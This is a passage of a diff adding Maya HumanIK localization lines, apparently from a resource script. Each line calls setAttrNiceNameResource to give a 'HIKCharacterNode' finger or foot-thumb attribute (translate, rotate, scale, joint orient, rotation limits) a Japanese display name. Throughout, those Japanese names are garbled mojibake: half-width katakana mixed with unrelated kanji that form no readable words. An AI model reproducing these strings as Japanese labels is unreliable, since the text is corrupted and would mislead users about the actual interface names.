"RightInHandExtraFingerRotateAxisx", "モメハヨチヨクトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxisy", "モメハヨチヨクトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerRotateAxisz", "モメハヨチヨクトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrient", "モメハヨチヨクトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrientx", "モメハヨチヨクトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrienty", "モメハヨチヨクトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerJointOrientz", "モメハヨチヨクトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimit", "モメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitx", "モメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimity", "モメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitz", "モメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimit", "モメハヨチヨクトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitx", "モメハヨチヨクトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimity", "モメハヨチヨクトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitz", "モメハヨチヨクトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnablex", "ニモテモメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnabley", "ニモテモメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMinRLimitEnablez", "ニモテモメハヨチヨクトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnablex", "ニモテモメハヨチヨクトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnabley", "ニモテモメハヨチヨクトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightInHandExtraFingerMaxRLimitEnablez", "ニモテモメハヨチヨクトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumb", "ラスナエヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbT", "ラスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTx", "ラスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTy", "ラスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbTz", "ラスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbR", "ラスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRx", "ラスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRy", "ラスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRz", "ラスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbS", "ラスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSx", "ラスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSy", "ラスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbSz", "ラスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateOrder", "ラスナエヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxis", "ラスナエヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisx", "ラスナエヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisy", "ラスナエヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbRotateAxisz", "ラスナエヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrient", "ラスナエヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrientx", "ラスナエヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrienty", "ラスナエヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbJointOrientz", "ラスナエヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimit", "ラスナエヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitx", "ラスナエヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimity", "ラスナエヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitz", "ラスナエヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimit", "ラスナエヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitx", "ラスナエヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimity", "ラスナエヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitz", "ラスナエヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnablex", "ニモテラスナエヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnabley", "ニモテラスナエヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMinRLimitEnablez", "ニモテラスナエヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnablex", "ニモテラスナエヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnabley", "ニモテラスナエヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootThumbMaxRLimitEnablez", "ニモテラスナエヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndex", "ラスナカヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexT", "ラスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTx", "ラスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTy", "ラスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexTz", "ラスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexR", "ラスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRx", "ラスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRy", "ラスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRz", "ラスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexS", "ラスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSx", "ラスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSy", "ラスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexSz", "ラスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateOrder", "ラスナカヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxis", "ラスナカヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisx", "ラスナカヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisy", "ラスナカヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexRotateAxisz", "ラスナカヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrient", "ラスナカヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrientx", "ラスナカヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrienty", "ラスナカヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexJointOrientz", "ラスナカヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimit", "ラスナカヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitx", "ラスナカヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimity", "ラスナカヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitz", "ラスナカヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimit", "ラスナカヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitx", "ラスナカヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimity", "ラスナカヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitz", "ラスナカヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnablex", "ニモテラスナカヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnabley", "ニモテラスナカヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMinRLimitEnablez", "ニモテラスナカヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnablex", "ニモテラスナカヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnabley", "ニモテラスナカヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootIndexMaxRLimitEnablez", "ニモテラスナカヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddle", "ラスナヨミヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleT", "ラスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTx", "ラスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTy", "ラスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleTz", "ラスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleR", "ラスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRx", "ラスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRy", "ラスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRz", "ラスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleS", "ラスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSx", "ラスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSy", "ラスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleSz", "ラスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateOrder", "ラスナヨミヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxis", "ラスナヨミヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisx", "ラスナヨミヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisy", "ラスナヨミヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleRotateAxisz", "ラスナヨミヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrient", "ラスナヨミヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrientx", "ラスナヨミヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrienty", "ラスナヨミヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleJointOrientz", "ラスナヨミヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimit", "ラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitx", "ラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimity", "ラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitz", "ラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimit", "ラスナヨミヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitx", "ラスナヨミヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimity", "ラスナヨミヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitz", "ラスナヨミヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnablex", "ニモテラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnabley", "ニモテラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMinRLimitEnablez", "ニモテラスナヨミヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnablex", "ニモテラスナヨミヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnabley", "ニモテラスナヨミヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootMiddleMaxRLimitEnablez", "ニモテラスナヨミヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRing", "ラスナヒトヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingT", "ラスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTx", "ラスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTy", "ラスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingTz", "ラスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingR", "ラスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRx", "ラスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRy", "ラスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRz", "ラスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingS", "ラスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSx", "ラスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSy", "ラスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingSz", "ラスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateOrder", "ラスナヒトヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxis", "ラスナヒトヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisx", "ラスナヒトヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisy", "ラスナヒトヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingRotateAxisz", "ラスナヒトヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrient", "ラスナヒトヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrientx", "ラスナヒトヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrienty", "ラスナヒトヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingJointOrientz", "ラスナヒトヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimit", "ラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitx", "ラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimity", "ラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitz", "ラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimit", "ラスナヒトヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitx", "ラスナヒトヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimity", "ラスナヒトヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitz", "ラスナヒトヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnablex", "ニモテラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnabley", "ニモテラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMinRLimitEnablez", "ニモテラスナヒトヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnablex", "ニモテラスナヒトヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnabley", "ニモテラスナヒトヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootRingMaxRLimitEnablez", "ニモテラスナヒトヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinky", "ラスナミ。ヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyT", "ラスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTx", "ラスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTy", "ラスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyTz", "ラスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyR", "ラスナミ。ヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRx", "ラスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRy", "ラスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRz", "ラスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyS", "ラスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySx", "ラスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySy", "ラスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkySz", "ラスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateOrder", "ラスナミ。ヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxis", "ラスナミ。ヨコトレイ獎ラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisx", "ラスナミ。ヨコトレイ獎ラェヨ痊" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisy", "ラスナミ。ヨコトレイ獎ラェヨ痒" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyRotateAxisz", "ラスナミ。ヨコトレイ獎ラェヨ痙" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrient", "ラスナミ。ヨコトレイ犹リスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrientx", "ラスナミ。ヨコトレイ犹リスレキスマx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrienty", "ラスナミ。ヨコトレイ犹リスレキスマy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyJointOrientz", "ラスナミ。ヨコトレイ犹リスレキスマz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimit", "ラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitx", "ラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimity", "ラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitz", "ラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimit", "ラスナミ。ヨコトレイ獸エミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitx", "ラスナミ。ヨコトレイ獸エミラェマ゙ヨニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimity", "ラスナミ。ヨコトレイ獸エミラェマ゙ヨニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitz", "ラスナミ。ヨコトレイ獸エミラェマ゙ヨニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnablex", "ニモテラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnabley", "ニモテラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMinRLimitEnablez", "ニモテラスナミ。ヨコトレイ獸ミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnablex", "ニモテラスナミ。ヨコトレイ獸エミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnabley", "ニモテラスナミ。ヨコトレイ獸エミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootPinkyMaxRLimitEnablez", "ニモテラスナミ。ヨコトレイ獸エミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFinger", "ラスナチヨコトレイ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerT", "ラスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTx", "ラスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTy", "ラスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerTz", "ラスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerR", "ラスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRx", "ラスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRy", "ラスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRz", "ラスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerS", "ラスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSx", "ラスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSy", "ラスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerSz", "ラスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftInFootExtraFingerRotateOrder", 